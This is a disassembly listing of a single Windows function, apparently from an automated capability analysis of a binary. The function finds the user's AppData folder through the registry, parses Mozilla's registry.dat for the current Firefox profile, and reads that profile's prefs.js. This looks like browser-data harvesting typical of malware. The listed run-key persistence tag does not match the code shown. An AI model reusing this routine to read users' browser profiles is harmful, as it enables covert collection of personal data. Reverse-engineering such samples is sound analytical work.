Function at 0x10014986
Capabilities:
Get common file path
Get file size
Persist via run registry key
Query or enumerate registry value
Read file on windows
Read file via mapping

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x290
mov al, byte [0x1002be5c]
push ebx
push esi
push edi
mov dword [ebp - 0x1c], ecx
push 0x40
mov byte [ebp - 0x18c], al
pop ecx
xor eax, eax
lea edi, [ebp - 0x18b]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push 0x18
xor ebx, ebx
pop ecx
xor eax, eax
lea edi, [ebp - 0x87]
mov byte [ebp - 0x88], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
or dword [ebp - 0xc], 0xffffffff
mov dword [ebp - 8], ebx
stosb byte es:[edi], al
lea eax, [ebp - 0x14]
mov dword [ebp - 4], ebx
push eax
push str.SoftwareMicrosoftWindowsCurrentVersionExplorerShell_Folders
push SysReAllocString
mov dword [ebp - 0x14], ebx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
mov esi, 0x104
jne 0x10014a14
lea eax, [ebp - 0x18]
mov dword [ebp - 0x18], esi
push eax
lea eax, [ebp - 0x290]
push eax
push ebx
push ebx
push str.AppData
push dword [ebp - 0x14]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
je 0x10014a22
lea eax, [ebp - 0x290]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
lea eax, [ebp - 0x290]
push str.Mozilla_registry.dat
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push ebx
push 0x80
push 3
push ebx
push 1
lea eax, [ebp - 0x290]
push SysReAllocString
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp dword [ebp - 0xc], esi
je 0x10014a63
lea ecx, [ebp - 0xc]
call fcn.10003775
mov dword [ebp - 0xc], esi
push ebx
push ebx
push ebx
push 2
push ebx
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
mov esi, eax
cmp dword [ebp - 8], esi
je 0x10014a84
lea ecx, [ebp - 8]
call fcn.10003760
mov dword [ebp - 8], esi
push ebx
push ebx
push ebx
push 4
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov esi, eax
cmp dword [ebp - 4], esi
je 0x10014aa4
lea ecx, [ebp - 4]
call fcn.1000374b
mov dword [ebp - 4], esi
mov esi, dword [ebp - 4]
push ebx
push dword [ebp - 0xc]
mov dword [ebp - 0x20], esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov edi, eax
push str.CurrentProfile
add edi, esi
push edi
push esi
call fcn.10013f23
mov esi, dword [sym.imp.KERNEL32.dll_lstrcpyA]
add esp, 0xc
cmp eax, ebx
mov dword [ebp - 0x24], eax
je 0x10014b21
add eax, 0xf
push eax
lea eax, [ebp - 0x88]
push eax
call esi
lea eax, [ebp - 0x88]
push eax
push edi
push dword [ebp - 0x24]
call fcn.10013f23
add esp, 0xc
cmp eax, ebx
je 0x10014b21
lea ecx, [ebp - 0x88]
inc eax
push ecx
push edi
push eax
call fcn.10013f23
add esp, 0xc
cmp eax, ebx
je 0x10014b21
push str.directory
push edi
push eax
call fcn.10013f23
add esp, 0xc
cmp eax, ebx
jne 0x10014b40
push str.directory
push edi
push dword [ebp - 0x20]
call fcn.10013f23
add esp, 0xc
cmp eax, ebx
jne 0x10014b40
lea ecx, [ebp - 0x14]
call fcn.10015819
jmp 0x10014ba9
add eax, 0xa
push eax
lea eax, [ebp - 0x18c]
push eax
call esi
lea eax, [ebp - 0x18c]
push str.prefs.js
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
or dword [ebp - 0x10], 0xffffffff
push ebx
push 0x80
push 3
push ebx
push 1
lea eax, [ebp - 0x18c]
push SysReAllocString
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp dword [ebp - 0x10], esi
je 0x10014b92
lea ecx, [ebp - 0x10]
call fcn.10003775
mov dword [ebp - 0x10], esi
cmp dword [ebp - 0x10], 0xffffffff
jne 0x10014bc5
cmp dword [ebp - 0x14], ebx
je 0x10014ba9
push dword [ebp - 0x14]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov dword [ebp - 0x14], ebx
cmp dword [ebp - 4], ebx
je 0x10014bba
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
mov dword [ebp - 4], ebx
cmp dword [ebp - 8], ebx
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x10014c33
push ebx
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov edi, eax
push edi
call fcn.100170d6
mov esi, dword [ebp - 0x1c]
pop ecx
lea ecx, [ebp - 0x18]
push ebx
push ecx
push edi
push eax
mov dword [esi + 0x10], eax
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x10014bf9
mov ecx, esi
call fcn.10014c4d
cmp dword [ebp - 0x10], 0xffffffff
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
je 0x10014c0e
push dword [ebp - 0x10]
call esi
or dword [ebp - 0x10], 0xffffffff
cmp dword [ebp - 0x14], ebx
je 0x10014c1f
push dword [ebp - 0x14]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov dword [ebp - 0x14], ebx
cmp dword [ebp - 4], ebx
je 0x10014c30
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
mov dword [ebp - 4], ebx
cmp dword [ebp - 8], ebx
je 0x10014c3d
push dword [ebp - 8]
call esi
mov dword [ebp - 8], ebx
cmp dword [ebp - 0xc], 0xffffffff
je 0x10014c48
push dword [ebp - 0xc]
call esi
pop edi
pop esi
pop ebx
leave
ret